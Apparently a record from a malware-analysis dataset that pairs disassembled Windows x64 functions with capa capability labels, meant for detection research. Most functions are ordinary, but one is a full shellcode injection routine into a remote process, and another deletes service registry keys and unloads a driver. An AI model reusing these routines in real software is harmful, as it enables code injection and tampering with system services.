joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140018c00
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x60
mov rax, qword [0x1400a3c40]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov rsi, rdx
mov rdi, rcx
mov qword [rsp + 0x20], rcx
mov eax, 0x5a4d
cmp word [rdx], ax
jne 0x140018d18
movsxd rax, dword [rdx + 0x3c]
cmp dword [rax + rdx], 0x4550
jne 0x140018d18
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
xor edx, edx
mov qword [rsp + 0x50], rdx
mov ecx, dword [rax + rsi + 0xb0]
test ecx, ecx
jne 0x140018c78
mov qword [rdi], rdx
mov qword [rdi + 8], rdx
mov qword [rdi + 0x10], rdx
jmp 0x140018d25
lea rbx, [rsi + rcx]
mov ebp, dword [rax + rsi + 0xb4]
add rbp, rbx
mov rcx, qword [rsp + 0x48]
cmp rbx, rbp
jae 0x140018d06
mov r8d, dword [rbx + 4]
test r8d, r8d
je 0x140018d06
mov eax, dword [rbx]
add rax, rsi
mov qword [rsp + 0x28], rax
lea rax, [rbx + 8]
mov qword [rsp + 0x30], rax
lea rax, [r8 - 8]
shr rax, 1
mov dword [rsp + 0x38], eax
cmp rcx, rdx
je 0x140018cdf
movups xmm0, xmmword [rsp + 0x28]
movups xmmword [rcx], xmm0
movsd xmm1, qword [rsp + 0x38]
movsd qword [rcx + 0x10], xmm1
mov rcx, qword [rsp + 0x48]
add rcx, 0x18
mov qword [rsp + 0x48], rcx
jmp 0x140018cf6
lea r8, [rsp + 0x28]
mov rdx, rcx
lea rcx, [rsp + 0x40]
call fcn.140019240
mov rcx, qword [rsp + 0x48]
mov eax, dword [rbx + 4]
add rbx, rax
mov rdx, qword [rsp + 0x50]
cmp rbx, rbp
jb 0x140018c90
mov rax, qword [rsp + 0x40]
mov qword [rdi], rax
mov qword [rdi + 8], rcx
mov qword [rdi + 0x10], rdx
jmp 0x140018d25
xor edx, edx
mov qword [rcx], rdx
mov qword [rcx + 8], rdx
mov qword [rcx + 0x10], rdx
mov rax, rdi
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.14005bdd0
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x140019cc0
Capabilities:
Delete registry key

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xa0
mov rax, qword [0x1400a3c40]
xor rax, rsp
mov qword [rbp + 0x4f], rax
mov rbx, rcx
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rsi, rax
test rax, rax
je 0x140019ec5
mov rcx, qword [rbx + 0x10]
movabs rdi, 0x7ffffffffffffffe
mov rax, rdi
sub rax, rcx
cmp rax, 0x34
jb 0x140019ef0
mov rax, rbx
cmp qword [rbx + 0x18], 8
jb 0x140019d31
mov rax, qword [rbx]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0x34
lea r9, str.RegistryMachineSystemCurrentControlSetServices_
lea rcx, [rbp + 0x1f]
call fcn.140010e60
nop
lea rdx, [rbp + 0x1f]
cmp qword [rbp + 0x37], 8
cmovae rdx, qword [rbp + 0x1f]
lea rcx, [rbp + 0x3f]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
mov rax, qword [rbx + 0x10]
sub rdi, rax
cmp rdi, 0x22
jb 0x140019ef6
cmp qword [rbx + 0x18], 8
jb 0x140019d88
mov rbx, qword [rbx]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], 0x22
lea r9, str.SYSTEMCurrentControlSetServices_
lea rcx, [rbp - 1]
call fcn.140010e60
nop
lea rdx, [rbp - 1]
cmp qword [rbp + 0x17], 8
cmovae rdx, qword [rbp - 1]
lea r8, [rbp - 9]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
je 0x140019dd7
cmp eax, 2
sete bl
jmp 0x140019e34
mov rcx, qword [rbp - 9]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rdx, str.NtUnloadDriver
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rbp + 0x3f]
call rax
lea rdx, [rbp - 1]
mov rcx, 0xffffffff80000002
test eax, eax
je 0x140019e1a
cmp qword [rbp + 0x17], 8
cmovae rdx, qword [rbp - 1]
call qword [sym.imp.ADVAPI32.dll_RegDeleteTreeW]
xor bl, bl
jmp 0x140019e34
cmp qword [rbp + 0x17], 8
cmovae rdx, qword [rbp - 1]
call qword [sym.imp.ADVAPI32.dll_RegDeleteTreeW]
test eax, eax
je 0x140019e32
xor bl, bl
jmp 0x140019e34
mov bl, 1
mov rdx, qword [rbp + 0x17]
cmp rdx, 8
jb 0x140019e74
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 1]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140019e6f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140019efc
call fcn.14005c324
xor eax, eax
mov qword [rbp + 0xf], rax
mov qword [rbp + 0x17], 7
mov word [rbp - 1], ax
mov rdx, qword [rbp + 0x37]
cmp rdx, 8
jb 0x140019ec2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1f]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140019ebd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140019eea
call fcn.14005c324
movzx eax, bl
mov rcx, qword [rbp + 0x4f]
xor rcx, rsp
call fcn.14005bdd0
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
call fcn.140027658
int3
call fcn.1400017b0
nop
call fcn.1400017b0
nop
call fcn.140027658
int3
Function at 0x140019f10
Capabilities:
Get system information on windows
Make suspicious ntquerysysteminformation call

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x50
mov rax, qword [0x1400a3c40]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov r14, rcx
xor ebp, ebp
mov ebx, ebp
mov dword [rsp + 0x20], ebp
lea r9, [rsp + 0x20]
xor r8d, r8d
xor edx, edx
lea ecx, [rbp + 0xb]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x140019fa4
test rbx, rbx
je 0x140019f6c
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rsp + 0x20]
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
lea r9, [rsp + 0x20]
mov r8d, dword [rsp + 0x20]
mov rdx, rax
mov ecx, 0xb
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x140019f56
test eax, eax
jns 0x140019fe3
test rbx, rbx
je 0x140019fbe
mov r8d, 0x8000
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.14005bdd0
mov rbx, qword [rsp + 0x78]
mov rbp, qword [rsp + 0x80]
add rsp, 0x50
pop r14
pop rdi
pop rsi
ret
test rbx, rbx
je 0x140019fbe
mov edi, ebp
cmp dword [rbx], ebp
jbe 0x140019fad
nop
mov esi, edi
imul rax, rsi, 0x128
movzx ecx, word [rax + rbx + 0x2e]
add rcx, rax
lea rdx, [rbx + 0x30]
add rdx, rcx
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x38], rbp
mov qword [rsp + 0x40], recv
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], 0
jne 0x14001a022
lea rcx, [rsp + 0x28]
call fcn.140003650
mov rdx, r14
cmp qword [r14 + 0x18], 0x10
jb 0x14001a043
mov rdx, qword [r14]
lea rcx, [rsp + 0x28]
cmp qword [rsp + 0x40], 0x10
cmovae rcx, qword [rsp + 0x28]
call fcn.1400286b0
test eax, eax
je 0x14001a0a5
mov rdx, qword [rsp + 0x40]
cmp rdx, 0x10
jb 0x14001a096
inc rdx
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001a091
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001a103
call fcn.14005c324
inc edi
cmp edi, dword [rbx]
jb 0x140019ff0
jmp 0x140019fad
imul rax, rsi, 0x128
mov rdi, qword [rax + rbx + 0x18]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rdx, qword [rsp + 0x40]
cmp rdx, 0x10
jb 0x14001a0fb
inc rdx
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001a0f6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001a103
call fcn.14005c324
mov rax, rdi
jmp 0x140019fc0
call fcn.140027658
int3
Function at 0x14001cab0
Capabilities:
Enumerate pe sections

Disassembly:
push rsi
push r12
push r15
sub rsp, 0x10
mov r11d, dword [rdx + 0xb0]
mov r15, r8
mov rsi, rdx
mov r12, rcx
test r11d, r11d
je 0x14001cc2c
movzx eax, word [rdx + 0x14]
lea r9, [rdx + 0x18]
movzx r8d, word [rdx + 6]
add r9, rax
xor r10d, r10d
test r8d, r8d
je 0x14001cc2c
nop
mov edx, dword [r9 + 0xc]
cmp r11d, edx
jb 0x14001cb04
mov ecx, dword [r9 + 8]
add ecx, edx
cmp r11d, ecx
jb 0x14001cb1a
inc r10d
add r9, 0x28
cmp r10d, r8d
jl 0x14001caf0
add rsp, 0x10
pop r15
pop r12
pop rsi
ret
sub r11d, edx
mov qword [rsp], r14
mov r14d, dword [r9 + 0x14]
mov eax, r11d
add rax, r12
add r14, rax
je 0x14001cc28
mov qword [rsp + 0x38], rbp
xor ebp, ebp
cmp dword [rsi + 0xb4], ebp
jbe 0x14001cc23
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x40], rdi
mov qword [rsp + 8], r13
mov r13d, 0xf000
nop dword [rax]
mov edi, dword [r14 + 4]
lea rdx, [rsi + 0x18]
movzx eax, word [rsi + 0x14]
lea r10, [r14 + 8]
movzx ebx, word [rsi + 6]
sub rdi, 8
mov r11d, dword [r14]
add rdx, rax
shr rdi, 1
xor r9d, r9d
test ebx, ebx
je 0x14001cbb5
nop dword [rax + rax]
mov r8d, dword [rdx + 0xc]
cmp r11d, r8d
jb 0x14001cba9
mov eax, dword [rdx + 8]
lea ecx, [r8 + rax]
cmp r11d, ecx
jb 0x14001cc36
inc r9d
add rdx, 0x28
cmp r9d, ebx
jl 0x14001cb90
xor r8d, r8d
xor edx, edx
test rdi, rdi
je 0x14001cc01
mov r9d, 0xa000
nop word [rax + rax]
movzx eax, word [r10]
movzx ecx, ax
and cx, r13w
cmp cx, r9w
jne 0x14001cbf4
and eax, 0xfff
lea rcx, [rax + r8]
mov rax, r15
sub rax, qword [rsi + 0x30]
add qword [rcx], rax
inc edx
add r10, 2
mov eax, edx
cmp rax, rdi
jb 0x14001cbd0
add ebp, dword [r14 + 4]
mov r14, r10
cmp ebp, dword [rsi + 0xb4]
jb 0x14001cb60
mov r13, qword [rsp + 8]
mov rdi, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov r14, qword [rsp]
add rsp, 0x10
pop r15
pop r12
pop rsi
ret
sub r11d, r8d
mov r8d, dword [rdx + 0x14]
mov eax, r11d
add rax, r12
add r8, rax
jmp 0x14001cbb8
Function at 0x14001cc50
Capabilities:
Enumerate pe sections

Disassembly:
mov qword [rsp + 0x20], rsi
push r12
push r14
push r15
sub rsp, 0x20
mov r12, r9
mov rsi, r8
mov r15, rdx
mov r14, rcx
call fcn.14001c770
test al, al
jne 0x14001cc8b
call fcn.140014900
xor eax, eax
mov rsi, qword [rsp + 0x58]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
mov r8, r12
mov rdx, rsi
mov rcx, r15
call fcn.14001cab0
movzx r9d, word [rsi + 0x14]
mov r8, r15
add r9d, 0x18
mov rdx, r12
mov rcx, r14
call fcn.14001c510
test al, al
je 0x14001cc74
movzx ecx, word [rsi + 6]
mov qword [rsp + 0x40], rbx
movzx ebx, word [rsi + 0x14]
mov qword [rsp + 0x48], rbp
add rbx, 0x20
mov qword [rsp + 0x50], rdi
xor edi, edi
mov ebp, edi
cmp di, cx
jae 0x14001cd16
add rbx, rsi
nop dword [rax + rax]
mov r9d, dword [rbx + 8]
cmp r9d, dword [rbx]
cmovae r9d, dword [rbx]
test r9d, r9d
je 0x14001cd05
mov r8d, dword [rbx + 0xc]
mov rcx, r14
mov edx, dword [rbx + 4]
add r8, r15
add rdx, r12
call fcn.14001c510
movzx eax, word [rsi + 6]
inc ebp
add rbx, 0x28
cmp ebp, eax
jl 0x14001cce0
movzx ecx, ax
mov eax, dword [rsi + 0x28]
mov rbp, qword [rsp + 0x48]
add rax, r12
cmp byte [rsp + 0x60], dil
je 0x14001cd72
mov r11d, dword [rsi + 0x88]
test r11d, r11d
je 0x14001cd70
movzx eax, word [rsi + 0x14]
lea r8, [rsi + 0x18]
add r8, rax
movzx ebx, cx
mov rdx, r8
mov r9d, edi
test ebx, ebx
je 0x14001cd70
nop dword [rax]
mov r10d, dword [rdx + 0xc]
cmp r11d, r10d
jb 0x14001cd64
mov ecx, dword [rdx + 8]
add ecx, r10d
cmp r11d, ecx
jb 0x14001cd8c
inc r9d
add rdx, 0x28
cmp r9d, ebx
jl 0x14001cd50
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
mov esi, dword [rdx + 0x14]
sub r11d, r10d
mov eax, r11d
add rax, r15
add rsi, rax
je 0x14001cd70
mov r11d, dword [rsi + 0x1c]
mov rdx, r8
mov r9d, edi
mov r10d, dword [rdx + 0xc]
cmp r11d, r10d
jb 0x14001cdbb
mov ecx, dword [rdx + 8]
add ecx, r10d
cmp r11d, ecx
jb 0x14001cdc9
inc r9d
add rdx, 0x28
cmp r9d, ebx
jl 0x14001cda7
jmp 0x14001cd70
sub r11d, r10d
mov r10d, dword [rdx + 0x14]
mov eax, r11d
add rax, r15
add r10, rax
je 0x14001cd70
mov r9d, dword [rsi + 0x24]
nop
mov edx, dword [r8 + 0xc]
cmp r9d, edx
jb 0x14001cdf4
mov ecx, dword [r8 + 8]
add ecx, edx
cmp r9d, ecx
jb 0x14001ce03
inc edi
add r8, 0x28
cmp edi, ebx
jl 0x14001cde0
jmp 0x14001cd70
mov ecx, dword [r8 + 0x14]
sub r9d, edx
mov eax, r9d
add rax, r15
add rcx, rax
je 0x14001cd70
movzx eax, word [rcx]
mov eax, dword [r10 + rax*4]
add rax, r12
jmp 0x14001cd72
Function at 0x140027418
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, ecx
test r8d, r8d
jne 0x1400272ab
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400272ab
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400272ab
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400272ab
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400272ab
cmp dword [rcx + 0x84], 0xe
jbe 0x1400272ab
cmp dword [rcx + 0xf8], 0
je 0x1400272ab
mov ecx, ebx
call fcn.14002734c
lea rax, [rbp + 0x18]
mov byte [rbp + 0x28], 0
mov qword [rbp - 0x20], rax
lea r9, [rbp - 0x2c]
lea rax, [rbp + 0x20]
mov qword [rbp - 0x18], rax
lea r8, [rbp - 0x20]
lea rax, [rbp + 0x28]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x28]
mov eax, 2
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
call fcn.14002713c
cmp dword [rbp + 0x20], 0
je 0x1400272f8
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140027300
int3
xor r8d, r8d
xor edx, edx
jmp 0x140027244

Function at 0x140027c98
Capabilities:
Delete file

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x140027cb8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.140027718
or eax, 0xffffffff
jmp 0x140027cba
xor eax, eax
add rsp, 0x28
ret
Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rsi
sub rsp, 0x60
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x50], rax
mov eax, dword [str.AAAAAA]
xor esi, esi
mov dword [rsp + 0x44], eax
movzx eax, word [0x1400032b0]
mov word [rsp + 0x48], ax
movzx eax, byte [0x1400032b2]
mov byte [rsp + 0x4a], al
mov dword [rsp + 0x40], esi
cmp ecx, 2
jge 0x1400010dd
mov r8, qword [rdx]
lea rcx, str._s_usage:__s__PID_
lea rdx, [0x1400032a4]
call fcn.140001010
lea eax, [rsi + 1]
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.1400012c0
add rsp, 0x60
pop rsi
ret
mov rcx, qword [rdx + 8]
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x80], rdi
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov r8d, eax
lea rdx, [0x1400032a8]
lea rcx, str._s_trying_to_get_a_handle_to_the_process___ld__n
mov ebx, eax
call fcn.140001010
mov r8d, ebx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
jne 0x140001148
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, [0x1400032a4]
lea rcx, str._s_failed_to_get_a_handle_to_the_process__error:_0x_lx
call fcn.140001010
lea eax, [rdi + 1]
jmp 0x140001287
mov r8, rdi
lea rdx, [0x1400032a0]
lea rcx, str._s_got_a_handle_to_the_process_n___0x_p_n
call fcn.140001010
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rcx, rdi
lea r8d, [rdx + 7]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r8d, 7
lea rdx, [0x1400032a0]
lea rcx, str._s_allocated__zd_bytes_to_the_process_memory_w__PAGE_EXECUTE_READWRITE_permissions_n
mov rbx, rax
call fcn.140001010
mov r9d, 7
mov qword [rsp + 0x20], rsi
lea r8, [rsp + 0x44]
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea rcx, str._s_Wrote_shellcode_to_process_memory_n
call fcn.140001010
lea rax, [rsp + 0x40]
mov r9, rbx
mov qword [rsp + 0x38], rax
xor r8d, r8d
mov qword [rsp + 0x30], rsi
xor edx, edx
mov dword [rsp + 0x28], esi
mov rcx, rdi
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThreadEx]
mov rbx, rax
test rax, rax
jne 0x140001211
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, [0x1400032a4]
lea rcx, str._s_failed_to_get_a_handle_to_the_new_thread__error:__ld
call fcn.140001010
lea eax, [rbx + 1]
jmp 0x140001287
mov r8d, dword [rsp + 0x40]
lea rdx, [0x1400032a0]
mov r9, rdi
lea rcx, str._s_got_a_handle_to_the_newly_created_thread___ld__n___0x_p_n
call fcn.140001010
lea rdx, [0x1400032a8]
lea rcx, str._s_waiting_for_thread_to_finish_executing_n
call fcn.140001010
mov edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rdx, [0x1400032a0]
lea rcx, str._s_thread_finished_executing__cleaning_up_n
call fcn.140001010
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [0x1400032a0]
lea rcx, str._s_finished__see_you_next_time_:_
call fcn.140001010
xor eax, eax
mov rbx, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.1400012c0
add rsp, 0x60
pop rsi
ret
Function at 0x140001b94
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001bde
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001bde
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001bde
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001bde
cmp dword [rcx + 0x84], 0xe
jbe 0x140001bde
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001be0
xor al, al
add rsp, 0x28
ret
Function at 0x140002df0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140008b90
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140008b90
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x140002e60
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14000e0a4]
mov rbx, rcx
test esi, esi
jle 0x140002f90
mov rax, qword [0x14000e0a8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140002eab
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140002f35
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140002e90
mov rcx, rbx
call fcn.1400038b0
mov rdi, rax
test rax, rax
je 0x140002fb2
mov rax, qword [0x14000e0a8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.1400039f0
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14000e0a8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140002f97
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140002f2e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140002f40
add dword [0x14000e0a4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14000e0a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140002f2e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140002df0
nop dword [rax]
xor esi, esi
jmp 0x140002eb8
mov rax, qword [0x14000e0a8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140002df0
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.140002df0
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140003520
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14000e100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000e0e0]
test rbx, rbx
je 0x14000357c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140003573
test rsi, rsi
je 0x140003573
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140003558
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x1400038b0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14000b8a0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400038d0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400038d8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400038d0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000392d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140003924
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400038d0
add rax, 0x28
cmp rax, r9
jne 0x140003910
xor eax, eax
ret

Function at 0x140003930
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000b8a0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000394f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140003958
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000394f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x1400039f0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000b8a0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x140003a0f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140003a18
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x1400042e0
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov dword [rsp + 4], 0
mov dword [rsp], 0xffffffff
movsxd rax, dword [rsp + 4]
mov rcx, qword [rsp + 0x30]
movzx eax, byte [rcx + rax]
test eax, eax
je 0x140004373
movsxd rax, dword [rsp + 4]
mov rcx, qword [rsp + 0x30]
movzx eax, byte [rcx + rax]
mov dword [rsp + 0xc], eax
mov eax, dword [rsp + 0xc]
mov ecx, dword [rsp]
xor ecx, eax
mov eax, ecx
mov dword [rsp], eax
mov dword [rsp + 8], 7
jmp 0x14000433e
mov eax, dword [rsp + 8]
dec eax
mov dword [rsp + 8], eax
cmp dword [rsp + 8], 0
jl 0x140004367
mov eax, dword [rsp]
and eax, 1
neg eax
mov dword [rsp + 0x10], eax
mov eax, dword [rsp]
shr eax, 1
mov ecx, dword [rsp + 0x10]
and ecx, 0xedb88320
xor eax, ecx
mov dword [rsp], eax
jmp 0x140004334
mov eax, dword [rsp + 4]
inc eax
mov dword [rsp + 4], eax
jmp 0x1400042f8
mov eax, dword [rsp]
not eax
add rsp, 0x28
ret
Function at 0x1400155c0
Capabilities:
Hash data using sha256

Disassembly:
mov qword [rsp + 8], rcx
mov rax, qword [rsp + 8]
mov qword [rax], 0
mov rax, qword [rsp + 8]
mov qword [rax + 8], 0
mov eax, 4
imul rax, rax, 0
mov rcx, qword [rsp + 8]
mov dword [rcx + rax + 0x50], 0x6a09e667
mov eax, 4
imul rax, rax, 1
mov rcx, qword [rsp + 8]
mov dword [rcx + rax + 0x50], 0xbb67ae85
mov eax, 4
imul rax, rax, 2
mov rcx, qword [rsp + 8]
mov dword [rcx + rax + 0x50], 0x3c6ef372
mov eax, 4
imul rax, rax, 3
mov rcx, qword [rsp + 8]
mov dword [rcx + rax + 0x50], 0xa54ff53a
mov eax, 4
imul rax, rax, 4
mov rcx, qword [rsp + 8]
mov dword [rcx + rax + 0x50], 0x510e527f
mov eax, 4
